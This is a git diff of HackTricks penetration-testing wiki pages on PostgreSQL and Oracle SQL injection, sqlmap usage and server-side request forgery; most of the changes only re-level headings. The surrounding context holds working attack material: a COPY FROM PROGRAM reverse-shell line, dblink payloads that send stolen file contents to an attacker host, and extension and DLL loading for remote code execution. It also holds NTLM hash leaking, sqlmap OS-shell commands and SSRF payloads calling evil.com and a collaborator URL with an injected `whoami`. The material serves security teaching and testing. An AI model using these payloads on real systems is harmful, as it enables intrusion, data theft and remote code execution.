![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/3.png) -### Using User Defined Functions +## Using User Defined Functions Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL. diff --git a/pentesting-web/sql-injection/oracle-injection.md b/pentesting-web/sql-injection/oracle-injection.md index 6e7eabbc..3a07062e 100644 --- a/pentesting-web/sql-injection/oracle-injection.md +++ b/pentesting-web/sql-injection/oracle-injection.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Oracle injection - -## SSRF +# SSRF **Information copied from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle) @@ -33,7 +31,7 @@ I ran the docker command with the `--network="host"` flag so that I could mimic docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Oracle packages that support a URL or a Hostname/Port Number specification +### Oracle packages that support a URL or a Hostname/Port Number specification In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically, diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index c62e1895..26bb88b1 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -24,28 +24,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## PostgreSQL injection +# PostgreSQL injection **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -### Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration +## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration **`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ **These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) -#### **Exfiltration example using dblink and large objects** +### **Exfiltration example using dblink and large objects** You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of\*\* how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. -### PL/pgSQL password bruteforce +## PL/pgSQL password bruteforce PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md) -### File-system actions +## File-system actions -#### Read directories and files +### Read directories and files From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).: @@ -54,7 +54,7 @@ select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd' , 0 , 1000000); ``` -#### Simple File Writing +### Simple File Writing ```bash copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; @@ -63,14 +63,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** -#### **Binary files upload** +### **Binary files upload** However, there are **other techniques to upload big binary files**.\ [**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md) -### RCE +## RCE -#### **RCE from version 9.3** +### **RCE from version 9.3** Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands. @@ -90,12 +90,12 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). -#### RCE with PostgreSQL extensions +### RCE with PostgreSQL extensions Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\ [**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md) -#### PostgreSQL configuration file RCE +### PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** @@ -123,14 +123,14 @@ While testing this I noticed that this will only work if the **private key file **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** -### WAF bypass +## WAF bypass -#### PostgreSQL String functions +### PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** -#### Stacked Queries +### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: @@ -139,7 +139,7 @@ id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` -#### XML tricks +### XML tricks **query\_to\_xml** @@ -157,7 +157,7 @@ This function will dump the whole database in XML format in just 1 row (be caref SELECT database_to_xml(true,true,''); ``` -#### Forbidden quotes +### Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): diff --git a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md index 4e9aab2e..0c818a3b 100644 --- a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md +++ b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Big Binary Files Upload (PostgreSQL) - -## PostgreSQL Large Objects +# PostgreSQL Large Objects PostgreSQL exposes a structure called **large object (**`pg_largeobject` table), which is used for storing data that would be difficult to handle in its entirety (like an image or a PDF document). As opposed to the `COPY TO` function, the advantage of **large objects** lies in the fact that the **data** they **hold** can be **exported back** to the **file system** as an **identical copy of the original imported file**. @@ -48,7 +46,7 @@ Also, debugging the process you can see the contents of the large objects create select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` -## Using lo\_creat & Base64 +# Using lo\_creat & Base64 First, we need to create a LOID where the binary data is going to be saved: @@ -84,7 +82,7 @@ You possible may be interested in delete the large object created after exportin SELECT lo_unlink(173454); -- deletes large object with OID 173454 ``` -## Using lo\_import & Hex +# Using lo\_import & Hex In this scenario lo\_import is going to be used to create a large object object. Fortunately in this case you can (and cannot) specify the LOID you would want to use: @@ -119,7 +117,7 @@ Finally, export the data to a file and delete the large object: Note the in newest versions of postgres you may need to **upload the extensions without indicating any path** at all. [**Read this for more information**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions) {% endhint %} -## Limitations +# Limitations After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** (Access Control List). It's possible to configure **new large objects** so your user **don't have enough privileges** to read them even if they were created by your user. diff --git a/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md index 40b3f930..4b2084c7 100644 --- a/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md +++ b/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# dblink/lo\_import data exfiltration - **This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.** -## **Preparing the exfiltration server/**Asynchronous SQL Injection +# **Preparing the exfiltration server/**Asynchronous SQL Injection **Extracted from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) @@ -118,11 +116,11 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) F It looks like it only has one empty table in the current schema and the flag is not in the database. We may really need to exfiltrate data from `/var/lib/postgresql/data/secret`. Unfortunately, if we try to use `pg_read_file` or `pg_read_binary_file` to read the file, we will not get an incoming connection so that the current user may not have permission to use these functions. -#### More info of asynchronous SQLInjection with postdresql +### More info of asynchronous SQLInjection with postdresql * [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) -## **Exfiltrating large object contents** +# **Exfiltrating large object contents** It's possible to read file using large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). We can use `lo_import` to load the contents of the file into the `pg_largeobject` catalog. If the query is success, we will get the object's `oid`. @@ -178,7 +176,7 @@ To load the flag: asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p ``` -#### More info of oid: +### More info of oid: * [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module) * [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) diff --git a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index f041cbc5..a1e0bcc4 100644 --- a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure - Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): ```sql @@ -27,7 +25,7 @@ CREATE EXTENSION dblink; Once you have dblink loaded you could be able to perform some interesting tricks: -### Privilege Escalation +## Privilege Escalation The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like: @@ -65,7 +63,7 @@ SELECT * FROM dblink('host=127.0.0.1 **Find** [**more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.** -### Port Scanning +## Port Scanning Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` ** as the documentation says that _`dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method_. @@ -102,7 +100,7 @@ Note that **before** being able to use `dblink_connect` or `dblink_connect_u` yo CREATE extension dblink; ``` -### UNC path - NTLM hash disclosure +## UNC path - NTLM hash disclosure ```sql -- can be used to leak hashes to Responder/equivalent diff --git a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index a3adcc53..1cdb86ea 100644 --- a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# PL/pgSQL Password Bruteforce - PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using: diff --git a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 0e4c0ffb..7101972a 100644 --- a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# RCE with PostgreSQL Extensions - -## PostgreSQL Extensions +# PostgreSQL Extensions PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.\ Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.\ @@ -27,7 +25,7 @@ From PostgreSQL > 8.1 the extension libraries must be compiled with a especial h Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md) -### RCE in Linux +## RCE in Linux The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented ([Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)): @@ -53,7 +51,7 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block. -#### Compile the library +### Compile the library First of all you need to know the version of PostgreSQL running: @@ -102,7 +100,7 @@ You can find this **library precompiled** to several different PostgreSQL versio For more information read: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) -### RCE in Windows +## RCE in Windows The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it: @@ -241,7 +239,7 @@ Note how in this case the **malicious code is inside the DllMain function**. Thi CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` -### RCE in newest Prostgres versions +## RCE in newest Prostgres versions On the **latest versions** of PostgreSQL, the `superuser` is **no** longer **allowed** to **load** a shared library file from **anywhere** else besides `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix. Additionally, this path is **not writable** by either the NETWORK\_SERVICE or postgres accounts. @@ -249,7 +247,7 @@ However, an authenticated database `superuser` **can write** binary files to the The underlying issue is that the `CREATE FUNCTION` operative **allows for a directory traversal** to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code. -#### Attack flow +### Attack flow First of all you need to **use large objects to upload the dll**. You can see how to do that here: diff --git a/pentesting-web/sql-injection/sqlmap.md b/pentesting-web/sql-injection/sqlmap.md index fe9a04aa..525ebb62 100644 --- a/pentesting-web/sql-injection/sqlmap.md +++ b/pentesting-web/sql-injection/sqlmap.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SQLMap - Cheetsheat +# Basic arguments for SQLmap -## Basic arguments for SQLmap - -### Generic +## Generic ```bash -u "" @@ -40,9 +38,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) --proxy=PROXY ``` -### Retrieve Information +## Retrieve Information -#### Internal +### Internal ```bash --current-user #Get current user @@ -52,7 +50,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) --passwords #Get passwords of users in DB ``` -#### DB data +### DB data ```bash --all #Retrieve everything @@ -63,9 +61,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -D -T -C #Dump column ``` -## Injection place +# Injection place -### From Burp/ZAP capture +## From Burp/ZAP capture Capture the request and create a req.txt file @@ -73,20 +71,20 @@ Capture the request and create a req.txt file sqlmap -r req.txt --current-user ``` -### GET Request Injection +## GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` -### POST Request Injection +## POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` -### Injections in Headers and other HTTP Methods +## Injections in Headers and other HTTP Methods ```bash #Inside cookie @@ -102,14 +100,14 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` -### Second order injection +## Second order injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` -### Shell +## Shell ```bash #Exec command @@ -122,7 +120,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -### Crawl a website with SQLmap and auto-exploit +## Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -132,28 +130,28 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --forms = Parse and test forms ``` -## Customizing Injection +# Customizing Injection -### Set a suffix +## Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` -### Prefix +## Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -### Help finding boolean injection +## Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` -### Tamper +## Tamper ```bash --tamper=name_of_the_tamper diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index 76e7d174..487fda9e 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SQLMap - Cheetsheat +# Basic arguments for SQLmap -## Basic arguments for SQLmap - -### Generic +## Generic ```bash -u "" @@ -41,9 +39,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` -### Retrieve Information +## Retrieve Information -#### Internal +### Internal ```bash --current-user #Get current user @@ -54,7 +52,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) --privileges #Get privileges ``` -#### DB data +### DB data ```bash --all #Retrieve everything @@ -65,9 +63,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -D -T
-C #Dump column ``` -## Injection place +# Injection place -### From Burp/ZAP capture +## From Burp/ZAP capture Capture the request and create a req.txt file @@ -75,20 +73,20 @@ Capture the request and create a req.txt file sqlmap -r req.txt --current-user ``` -### GET Request Injection +## GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` -### POST Request Injection +## POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` -### Injections in Headers and other HTTP Methods +## Injections in Headers and other HTTP Methods ```bash #Inside cookie @@ -104,13 +102,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` -### Indicate string when injection is successful +## Indicate string when injection is successful ```bash --string="string_showed_when_TRUE" ``` -### Eval +## Eval **Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**: @@ -118,7 +116,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` -### Shell +## Shell ```bash #Exec command @@ -131,13 +129,13 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -### Read File +## Read File ```bash --file-read=/etc/passwd ``` -### Crawl a website with SQLmap and auto-exploit +## Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -147,7 +145,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --forms = Parse and test forms ``` -### Second Order Injection +## Second Order Injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 @@ -156,28 +154,28 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrat [**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** -## Customizing Injection +# Customizing Injection -### Set a suffix +## Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` -### Prefix +## Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -### Help finding boolean injection +## Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` -### Tamper +## Tamper Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md). diff --git a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md index 54e68802..f4bf5856 100644 --- a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md +++ b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Second Order Injection - SQLMap - **SQLMap can exploit Second Order SQLis.**\ You need to provide: @@ -82,7 +80,7 @@ So, if for some reason we need a more complex flow to exploit the second order S ```bash sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a -########### +########## # --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload # -r login.txt : Indicates the request to send the SQLi payload # -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index e358812c..e656b5e1 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## What is Server Side Request Forgery? Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. (From [here](https://portswigger.net/web-security/ssrf)) -### Capture SSRF +# Capture SSRF The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a HTTP or DNS interaction you can use tools such as: @@ -31,7 +30,7 @@ The first thing you need to do is to capture a SSRF interaction provoked by you. * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) -### Whitelisted Domains Bypass +# Whitelisted Domains Bypass Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**: @@ -39,29 +38,29 @@ Usually you will find that the SSRF is only working in **certain whitelisted dom [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} -#### Bypass via open redirect +## Bypass via open redirect If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) -### SSRF via Referrer header +# SSRF via Referrer header Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.\ To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp. -## Exploitation +# Exploitation -### [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick) +# [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick) -### Protocols +# Protocols -#### file:// +## file:// ``` file:///etc/passwd ``` -#### dict:// +## dict:// The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: @@ -70,7 +69,7 @@ dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` -#### SFTP:// +## SFTP:// A network protocol used for secure file transfer over secure shell @@ -78,7 +77,7 @@ A network protocol used for secure file transfer over secure shell ssrf.php?url=sftp://evil.com:11111/ ``` -#### TFTP:// +## TFTP:// Trivial File Transfer Protocol, works over UDP @@ -86,7 +85,7 @@ Trivial File Transfer Protocol, works over UDP ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` -#### LDAP:// +## LDAP:// Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. @@ -94,7 +93,7 @@ Lightweight Directory Access Protocol. It is an application protocol used over a ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` -#### Gopher:// +## Gopher:// Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\ Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services. @@ -135,7 +134,7 @@ https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} -#### SMTP +## SMTP From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\ 1\. connect with SSRF on smtp localhost:25\ @@ -143,19 +142,19 @@ From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.co 3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\ 4\. connect -### SSRF with Command Injection +# SSRF with Command Injection It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` -### PDFs Rendering +# PDFs Rendering If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** -### From SSRF to DoS +# From SSRF to DoS Create several sessions and try to download heavy files exploiting the SSRF from the sessions. -### SSRF Redirect to Gopher +# SSRF Redirect to Gopher For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect: @@ -189,7 +188,7 @@ if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -### DNS Rebidding CORS/SOP bypass +# DNS Rebidding CORS/SOP bypass If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation: @@ -197,13 +196,13 @@ If you are having **problems** to **exfiltrate content from a local IP** because [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} -#### Automated DNS Rebidding +## Automated DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine. Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)**** -### DNS Rebidding + TLS Session ID/Session ticket +# DNS Rebidding + TLS Session ID/Session ticket Requirements: @@ -224,15 +223,15 @@ Note that during this attack, if you want to attack localhost:11211 (_memcache_) To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) -### Blind SSRF +# Blind SSRF The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities. -#### Time based SSRF +## Time based SSRF **Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist) -### Cloud SSRF Exploitation +# Cloud SSRF Exploitation If you find a SSRF vulnerability in a machine running inside 